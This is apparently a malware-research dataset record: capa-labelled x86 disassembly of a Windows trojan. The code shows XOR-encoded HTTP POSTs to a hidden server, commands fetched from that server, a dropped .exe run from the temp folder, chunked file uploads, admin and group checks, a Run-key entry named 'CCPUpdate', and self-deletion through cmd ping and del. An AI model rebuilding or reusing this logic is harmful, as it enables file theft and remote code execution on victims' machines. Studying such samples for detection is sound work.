joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018c0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xfa
mov dword [ebp - 8], eax
mov esi, ecx
call fcn.0040371f
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4019f3
push 0xfa
push 0
push ebx
call fcn.004063c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push esi
push 0x412508
push ebx
call fcn.00403116
mov edi, dword [ebp + 0xc]
add edi, 0x18
push edi
call fcn.0040371f
mov esi, eax
add esp, 0x18
test esi, esi
je 0x4019e8
mov edx, dword [ebp + 0x10]
mov dword [esi], edx
mov dword [esi + 4], edi
mov eax, dword [0x412704]
mov dword [esi + 8], eax
mov ecx, dword [0x412708]
mov dword [esi + 0xc], ecx
mov edx, dword [0x41270c]
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x10], edx
mov eax, dword [0x412710]
mov edx, dword [ebp - 8]
push ecx
mov dword [esi + 0x14], eax
push edx
lea eax, [esi + 0x18]
push eax
call fcn.00407e20
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x40198b
mov al, byte [ecx + esi]
test al, al
je 0x401986
cmp al, 0x59
je 0x401986
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x401976
mov ecx, dword [str.5____.x___35:92x59_]
mov edx, dword [0x412738]
push 0
push 0
push 3
push 0
push 0
push 0x50
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4019e8
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 8], eax
test eax, eax
je 0x4019e8
push edi
push esi
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
je 0x401a30
push ebx
call fcn.004036e5
add esp, 4
jmp 0x4019f6
mov esi, dword [ebp - 8]
test esi, esi
je 0x401a03
push esi
call fcn.004036e5
add esp, 4
mov eax, dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a13
push eax
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x401a1d
push eax
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push ebx
call fcn.004036e5
push esi
call fcn.004036e5
mov eax, dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push eax
call esi
mov ecx, dword [ebp - 8]
push ecx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x401a70
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x12b
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call fcn.004063c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x130]
push 0x412608
push ecx
call fcn.00403116
mov eax, dword [0x412738]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [ebp - 0x130]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401b30
mov edx, dword [0x41273c]
push ebx
lea ecx, [ebp - 0x134]
push ecx
push 0xb00000
push edx
push esi
mov dword [ebp - 0x134], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401b30
cmp dword [ebp - 0x134], 0
je 0x401b30
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop esi
call fcn.00403107
mov esp, ebp
pop ebp
ret

Function at 0x401b50
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x12b
lea ecx, [ebp - 0x12f]
push 0
push ecx
mov dword [ebp - 0x134], eax
mov byte [ebp - 0x130], 0
call fcn.004063c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [ebp - 0x130]
push 0x412408
push edx
call fcn.00403116
mov ecx, dword [0x412738]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
jne 0x401bd9
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [0x41273c]
push edi
push 0xb00000
push 0
push esi
call fcn.004063c0
add esp, 0xc
lea edx, [ebp - 0x138]
push edx
push 0xb00000
push esi
push ebx
mov dword [ebp - 0x138], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c1d
mov edi, dword [ebp - 0x138]
test edi, edi
jne 0x401c4a
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x134]
test eax, eax
je 0x401c37
push eax
call fcn.004036e5
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040371f
mov esi, eax
mov eax, dword [0x41273c]
push edi
push eax
push esi
call fcn.00407e20
add esp, 0x10
xor ecx, ecx
test edi, edi
jle 0x401c7d
mov al, byte [ecx + esi]
test al, al
je 0x401c78
cmp al, 0x59
je 0x401c78
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x401c68
mov ecx, dword [ebp - 0x134]
push ebx
mov dword [ecx], edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401a70
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x401cb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp byte [eax + 0x10], 0
push ebx
lea ebx, [eax + 0x10]
mov dword [ebp - 0x10c], ebx
je 0x401ce7
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004063c0
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea esi, [ebp - 0x108]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401d21
sub esi, ecx
lea edi, [esi + 6]
cmp esi, edi
jge 0x401d5f
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
xor edx, edx
mov ecx, 0x1a
div ecx
push 1
add dl, 0x61
mov byte [ebp + esi - 0x108], dl
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, edi
jl 0x401d37
mov ebx, dword [ebp - 0x10c]
lea eax, [ebp - 0x108]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d68
mov edx, dword [str..exe]
mov cl, byte [0x40eafc]
mov dword [eax], edx
mov byte [eax + 4], cl
lea eax, [ebp - 0x108]
mov edx, ebx
mov ecx, eax
sub edx, ecx
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401d90
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret

Function at 0x401db0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push esi
call fcn.00401cb0
lea edi, [esi + 0x10]
mov bl, al
push edi
mov eax, edi
call fcn.00401820
add esp, 8
cmp dword [esi], 1
je 0x401ddb
mov eax, dword [0x411770]
cmp eax, 0xffffffff
jne 0x401dfe
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x411770], eax
cmp eax, 0xffffffff
je 0x401e51
mov ecx, dword [esi + 8]
push 0
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401e3b
mov eax, dword [esi + 0xc]
push 0
lea edx, [ebp - 4]
push edx
mov edx, dword [0x411770]
push eax
lea ecx, [esi + 0x114]
push ecx
push edx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401e59
mov eax, dword [0x411770]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x411770], 0xffffffff
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [esi], 3
jne 0x401e82
mov ecx, dword [0x411770]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x411770], 0xffffffff
test bl, bl
je 0x401e82
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ed0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 0x80
push 3
push 0
push 1
mov edi, ecx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x214], ebx
cmp ebx, 0xffffffff
je 0x4020d6
push esi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4020ae
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x210], eax
cmp eax, 0xffffffff
je 0x4020ae
test eax, eax
je 0x4020ae
push 4
push 0x1000
push 0x19400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4020bc
xor ebx, ebx
push 0x19400
push 0
push esi
call fcn.004063c0
mov eax, dword [ebp - 0x214]
add esp, 0xc
push 0
push 0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4020b6
mov eax, dword [ebp - 0x214]
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0x19000
lea edx, [esi + 0x114]
push edx
push eax
mov dword [ebp - 0x218], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4020d5
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 0x210]
lea eax, [esi + 0x10]
push edi
mov dword [esi + 0xc], ecx
mov dword [esi + 8], ebx
mov dword [esi], 2
mov dword [esi + 4], edx
call fcn.00401770
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.004063c0
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.004063c0
lea edx, [ebp - 0x20c]
push edx
call fcn.00401e90
push 0x412714
lea eax, [ebp - 0x20c]
push eax
mov eax, 0x51eb851f
mul dword [ebp - 0x210]
shr edx, 0xf
inc edx
push edx
mov eax, 0x51eb851f
mul ebx
shr edx, 0xf
inc edx
push edx
lea ecx, [ebp - 0x108]
push str._d_of__d_for__s_on__s
push ecx
call fcn.00403116
mov edx, dword [ebp - 0x218]
push 3
add edx, 0x114
push edx
push esi
lea ecx, [ebp - 0x108]
call fcn.004018c0
add esp, 0x44
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0x19000
cmp ebx, dword [ebp - 0x210]
jbe 0x401f68
mov eax, dword [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4020c7
mov esi, dword [ebp - 0x210]
jmp 0x4020bc
mov ebx, dword [ebp - 0x214]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4020d5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x1cc]
push 0
push eax
mov dword [ebp - 0x1d0], 0
call fcn.004063c0
mov ecx, dword [str.5____.x___35:92x59_]
mov edx, dword [ecx + 0x19c]
add esp, 0xc
mov dword [ebp - 0x1cc], edx
call fcn.00401000
mov dword [ebp - 0x1d0], eax
call fcn.004027f0
movzx eax, al
push 0
mov dword [ebp - 0x1c8], eax
call fcn.0040409e
add esp, 4
add eax, 0x7080
lea ecx, [ebp - 0x1e0]
adc edx, 0
push ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], edx
call fcn.004036be
mov edx, dword [eax + 0x14]
mov dword [ebp - 0x1c4], edx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [ebp - 0x1c0], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x1bc], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x1b4], edx
mov eax, dword [eax]
add esp, 4
mov dword [ebp - 0x1b0], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x402472
mov eax, 1
jmp 0x40249e
call fcn.00401000
cmp eax, 4
jge 0x402483
mov eax, 3
jmp 0x40249e
call fcn.00402f10
cmp eax, 1
jne 0x402494
mov eax, 2
jmp 0x40249e
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
push 0x12b
lea ecx, [ebp - 0x137]
push 0
push ecx
mov dword [ebp - 0x1ac], eax
mov byte [ebp - 0x138], 0
call fcn.004063c0
add esp, 0xc
lea edx, [ebp - 0x1d4]
push edx
lea eax, [ebp - 0x138]
push eax
mov dword [ebp - 0x1d4], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x4024f7
push 0x64
push eax
lea ecx, [ebp - 0x1a8]
push ecx
call fcn.004063c0
add esp, 0xc
jmp 0x402513
lea edx, [ebp - 0x138]
push edx
lea eax, [ebp - 0x1a8]
mov byte [ebp - 0x110], 0
call fcn.00401770
add esp, 4
mov eax, dword [0x4110c0]
mov ecx, dword [0x4110c4]
mov edx, dword [0x4110c8]
push 0
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x140], ecx
push 0x98
push eax
mov ecx, 0x412714
mov dword [ebp - 0x13c], edx
call fcn.004018c0
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x40275f
Capabilities:
Delete registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x410004]
xor eax, esp
mov dword [esp + 0x210], eax
cmp dword [0x4110d0], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
je 0x402643
push 0xea60
call ebx
xor eax, eax
mov dword [esp + 0xc], 0
call fcn.00401400
call fcn.004023a0
test al, al
jne 0x4026b1
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0xf
imul edx, edx, 0x3e8
push edx
call ebx
call fcn.004023a0
cmp al, 1
je 0x4026b1
inc esi
cmp esi, 3
jl 0x402660
mov eax, dword [0x412740]
inc eax
mov dword [0x412740], eax
call fcn.00401400
test al, al
jne 0x402652
push 0x36ee80
mov dword [0x412740], 0
call ebx
jmp 0x402652
lea edx, [esp + 0xc]
push edx
call fcn.00401b50
mov edi, eax
add esp, 4
test edi, edi
jne 0x4026d7
mov eax, dword [str.5____.x___35:92x59_]
mov ecx, dword [eax + 0x19c]
push ecx
call ebx
jmp 0x402652
mov eax, dword [edi]
dec eax
lea esi, [edi + 0x18]
cmp eax, 6
ja case.default.0x4026e6
jmp dword [eax*4 + 0x4027c8]
mov ecx, esi
call fcn.004020f0
jmp 0x4027b3
call fcn.00401db0
jmp 0x4027b3
push 0x207
lea edx, [esp + 0x15]
push 0
push edx
mov byte [esp + 0x1c], 0
call fcn.004063c0
lea eax, [esp + 0x1c]
add esp, 0xc
push eax
mov eax, esi
call fcn.00401820
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401ed0
jmp 0x4027b3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x4027b3
mov esi, dword [esi]
lea ecx, [esi - 0x3e9]
cmp ecx, 0x83d216
ja 0x4027b3
mov edx, dword [str.5____.x___35:92x59_]
mov dword [edx + 0x19c], esi
jmp 0x4027b3
cmp dword [esi], 0x378
jne 0x4027b3
lea edx, [esp + 0xc]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x402790
mov eax, dword [esp + 0xc]
push str.CCPUpdate
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00403080
call fcn.00402560
mov eax, dword [str.5____.x___35:92x59_]
mov ecx, dword [eax + 0x19c]
push ecx
call ebx
push 0x3e8
call ebx
push edi
call fcn.004036e5
add esp, 4
jmp 0x402652
Function at 0x4027f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x410004]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.004063c0
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x148]
mov byte [esp + 0x14b], bl
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402850
mov edx, dword [str.Program_Files__x86_]
mov ecx, dword [0x40eb78]
mov dword [eax], edx
mov edx, dword [0x40eb7c]
mov dword [eax + 4], ecx
mov ecx, dword [0x40eb80]
mov dword [eax + 8], edx
mov edx, dword [0x40eb84]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4028a5
test byte [esp + 8], 0x10
je 0x4028a5
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x254]
mov al, bl
pop ebx
xor ecx, esp
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x402ba0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push 0x40ea78
push eax
call fcn.0040386f
add esp, 8
test eax, eax
je 0x402bc5
push eax
call fcn.0040402a
add esp, 4
xor al, al
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
push 0x40ea8c
push ecx
call fcn.0040386f
mov esi, eax
add esp, 8
test esi, esi
jne 0x402be2
xor al, al
pop esi
pop ebp
ret
push ebx
push edi
push 2
push 0
push esi
call fcn.00403f41
push esi
call fcn.00403e52
push 0
push 0
push esi
mov edi, eax
call fcn.00403f41
push edi
call fcn.0040371f
push esi
push 1
mov ebx, eax
push edi
push ebx
call fcn.00403ad0
push esi
call fcn.0040402a
add esp, 0x34
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp + 0xc]
push 0x40ebc4
push edx
mov dword [ebx + edi - 8], eax
call fcn.0040386f
mov esi, eax
push esi
push 1
push edi
push ebx
call fcn.00403c44
push esi
call fcn.0040402a
add esp, 0x1c
pop edi
pop ebx
mov al, 1
pop esi
pop ebp
ret
Function at 0x402f10
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0x403069
or edi, 0xffffffff
cmp esi, edi
je 0x403069
lea eax, [ebp - 0x14]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402f84
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 0x14]
jmp 0x403010
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x402fad
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 0x14]
jmp 0x403010
push 0x400
call fcn.0040371f
push 0x400
mov edi, eax
push ebx
push edi
call fcn.004063c0
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
push 0x400
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [edi]
xor esi, esi
test ebx, ebx
jle 0x40300d
lea edx, [edi + 4]
mov dword [ebp - 0x1c], edx
lea esp, [esp]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x18]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x403060
add dword [ebp - 0x1c], 8
inc esi
cmp esi, ebx
jl 0x402ff0
mov esi, dword [ebp - 0x20]
test edi, edi
je 0x40301d
push edi
call fcn.004036e5
add esp, 4
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40302b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40303d
cmp esi, 0xffffffff
je 0x40303d
push esi
call edi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40304c
cmp eax, 0xffffffff
je 0x40304c
push eax
call edi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x10], 1
jmp 0x40300d
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x10], 0xffffffff
jmp 0x403010
Function at 0x403080
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x4117a0]
push 0
push eax
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x4117a0]
push ecx
lea edx, [ebp - 0x114]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.00403116
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x114]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403107
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x403111
repz ret
jmp fcn.0040428f
Function at 0x409e04
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405849
and dword [ebp - 0x14], 0
cmp dword [0x4123d4], 0
mov dword [ebp - 0x18], eax
jne 0x409eb7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409f5f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409f5f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4123d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4123d8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4123dc], eax
call edi
push eax
call esi
mov dword [0x4123e4], eax
test eax, eax
je 0x409eb7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4123e0], eax
mov eax, dword [0x4123e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409f10
cmp dword [0x4123e4], ecx
je 0x409f10
push eax
call esi
push dword [0x4123e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409f10
test ebx, ebx
je 0x409f10
call edi
test eax, eax
je 0x409f07
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409f07
test byte [ebp - 8], 1
jne 0x409f10
or dword [ebp + 0x10], 0x200000
jmp 0x409f43
mov eax, dword [0x4123d8]
cmp eax, dword [ebp - 0x18]
je 0x409f43
push eax
call esi
test eax, eax
je 0x409f43
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409f43
mov eax, dword [0x4123dc]
cmp eax, dword [ebp - 0x18]
je 0x409f43
push eax
call esi
test eax, eax
je 0x409f43
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4123d4]
call esi
test eax, eax
je 0x409f5f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409f61
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403107
leave
ret